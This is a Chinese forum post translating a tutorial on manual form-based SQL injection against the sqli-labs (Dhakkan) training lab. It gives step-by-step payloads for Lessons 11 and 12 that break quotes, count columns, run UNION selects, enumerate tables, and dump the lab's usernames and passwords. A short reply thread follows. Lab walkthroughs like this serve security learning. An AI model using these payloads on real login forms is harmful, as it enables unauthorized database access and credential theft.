看雪论坛
发新帖
1

[翻译]基于表单的SQL注入(手动)

hesir 2017-7-12 09:48 735

很多应用程序都有登陆表单,比如,Facebook、Gmail和其它的一些程序,都会要求你提交用户名和密码。今天来看看如何手动进行基于表单的SQL注入攻击。

开始吧!我们使用的是Dhakkan平台。


Lesson 11


本节和前面的Lesson 1, 2, 3, 4有很多相似之处,如果你对前面几节并不熟悉的话,建议先阅读前面的部分(传送门)。

首先,使用浏览器打开该实验室http://localhost:81/sqli/Less-11/(注:具体以个人配置为准)。

Lesson 11被视为基于单引号(')字符串的POST请求错误。当你进入该实验室后,会发现页面包含了一个提示输入用户名和密码登陆Web服务器的文本框,如上图所示。由于不是它的用户,自然也就没有正确的用户和密码可供我们登录使用,但是耐不住寂寞啊,我们还是想试试看能否通过SQL注入攻击的方式进入到该数据库。为此,首先得测试一下该数据库是否可被SQL注入攻击。

由于Lesson 11是基于单引号(')的错误,所以我们就使用单引号(')来进行测试。

输入用户名: '

由上图可以看出,当我们破坏了该查询语句时,页面给出了错误信息(蓝色文字部分),这就可以看出该数据库是可被SQL注入攻击的。

先来看看错误信息:The right syntax to user near '''' and password='' LIMIT 0,1'

现在我们就需要 # (单行注释)的帮忙了,再向用户名 ' 后添加一个 # 来使该查询语法正确。

输入用户名:'       #

由上图可以看出,虽然我们成功地解决了语法报错的问题,但登陆还是失败了。不过注意到 ' 和 # 之间的语句应该都可以正确地执行。接下来要找出后端查询中使用了多少特定列,这里利用子句order by

用户名:' order by 1 #

用户名:' order by 2 #

用户名:' order by 3 #

由上图可以看出,当测试到order by 3时,我们收到了报错信息,这就意味这该后端查询中使用了两个特定列。

现在我们在 '# 之间插入union select选中全部的两列。

用户名:' union select 1,2 #

由上图可以看出,我们登陆成功啦。那么接下来,是时候获取数据库中的数据了。

和第一节相似,先来看看数据库名。

用户名:' union select 1,database() #

由上图可以看出,数据库名为security。

接着获取当前数据库的所有表名。

用户名:' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

由上图可以看出,所有表名为:

T1: emails

T2: referers

T3: uagents

T4: users

接着获取表users的所有列名:

用户名:' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

由上图可以看出,表users有三列:

C1: id

C2: username

C3: password

在本节的最后,我们一起来看看表users中所有的用户名和对应的密码。

用户名:' union select group_concat(username),group_concat(password) from users #

由上图可以看出,表users中所有的用户名及对应的密码为:

用户名DumbAngelinaDummysecurestupidsupermanbatmanadminadmin1admin2admin3dhakkanadmin4
密码DumbI-kill-youp@sswordcrappystupiditygeniousmob!leadminadmin1admin2admin3dumboadmin4

以上就是本节全部内容。


Lesson 12


有时候你会使用单引号(')来测试一个Web页面是否是可被SQL注入攻击的,或者你已经知道了该Web页面是可被SQL注入的,试着使用单引号(')进行攻击,但是会发现失败了,而且也没有得到任何相关的报错信息,这有可能是因为开发者将单引号(')列入了黑名单。

本节和Lesson 11相似,但是如果你还是企图使用单引号来破坏后端查询,结果可就大不一样了。听说Lesson 12被视为基于双引号(")字符串的POST请求错误。那么来试试看吧。

用户名:"

由上图可以看出,当我们破坏了该查询语句时,页面给出了错误信息(蓝色文字部分),这就可以看出该数据库是可被SQL注入攻击的。

如果已经知道了这一点,剩下的部分不就和Lesson 11差不多了吗?确实如此!

先来看看错误信息:The right syntax to user near '"") and password=("") LIMIT 0,1'

现在我们就需要 ) (右括号)和 # (单行注释)的帮忙了,向用户名 " 后添加 ) 和 # 来使该查询语法正确。

输入用户名:")       #

由上图可以看出,虽然我们成功地解决了语法报错的问题,但登陆还是失败了。不过注意到 ") 和 # 之间的语句应该都可以正确地执行。接下来要找出后端查询中使用了多少特定列,这里利用子句order by

用户名:") order by 1 #

用户名:") order by 2 #

用户名:") order by 3 #

由上图可以看出,当测试到order by 3时,我们收到了报错信息,这就意味这该后端查询中使用了两个特定列。

现在我们在 ") 和 # 之间插入union select选中全部的两列。

用户名:") union select 1,2 #

由上图可以看出,我们登陆成功啦。那么接下来,是时候获取数据库中的数据了。

还是先来看看数据库名。

用户名:") union select 1,database() #

由上图可以看出,数据库名为security。

接着获取当前数据库的所有表名。

用户名:") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

由上图可以看出,所有表名为:

T1: emails

T2: referers

T3: uagents

T4: users

接着获取表users的所有列名:

用户名:") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

由上图可以看出,表users有三列:

C1: id

C2: username

C3: password

在本节的最后,我们一起来看看表users中所有的用户名和对应的密码。

用户名:") union select group_concat(username),group_concat(password) from users #

由上图可以看出,表users中所有的用户名及对应的密码为:

用户名DumbAngelinaDummysecurestupidsupermanbatmanadminadmin1admin2admin3dhakkanadmin4
密码DumbI-kill-youp@sswordcrappystupiditygeniousmob!leadminadmin1admin2admin3dumboadmin4

以上就是本节全部内容。


相关文章:

SQL注入新手教程(第一部分)

SQL注入新手教程(第二部分)

一步步手动进行SQL注入

如何手动绕过SQL注入过滤器?(一)

如何手动绕过SQL注入过滤器?(二)

如何手动绕过SQL注入过滤器?(三)

使用OUTFILE导出数据库数据




原文链接:http://www.hackingarticles.in/form-based-sql-injection-manually/

本文由 看雪翻译小组 hesir 编译

本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (4)
弟子规 3天前
2
请教一下,根据我的实践尝试,在本文课程里只能用#注释,而之前使用--+的办法不行了,这是为什么呢?
1
hesir 2天前
3
弟子规 请教一下,根据我的实践尝试,在本文课程里只能用#注释,而之前使用--+的办法不行了,这是为什么呢?
这个原因我也不知道,抱歉。希望有哪位对此比较懂的朋友能解答一下
弟子规 2天前
4
hesir 这个原因我也不知道,抱歉。希望有哪位对此比较懂的朋友能解答一下[em_52]
我找到原因了,篇幅较长,我另起了一篇,请参见:http://bbs.pediy.com/thread-219378.htm
1
hesir 1天前
5
弟子规 我找到原因了,篇幅较长,我另起了一篇,请参见:http://bbs.pediy.com/thread-219378.htm
学到了,感谢分享
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 知道创宇带宽支持 | 微信公众号:ikanxue
Time: 0.012, SQL: 9 / 京ICP备10040895号-17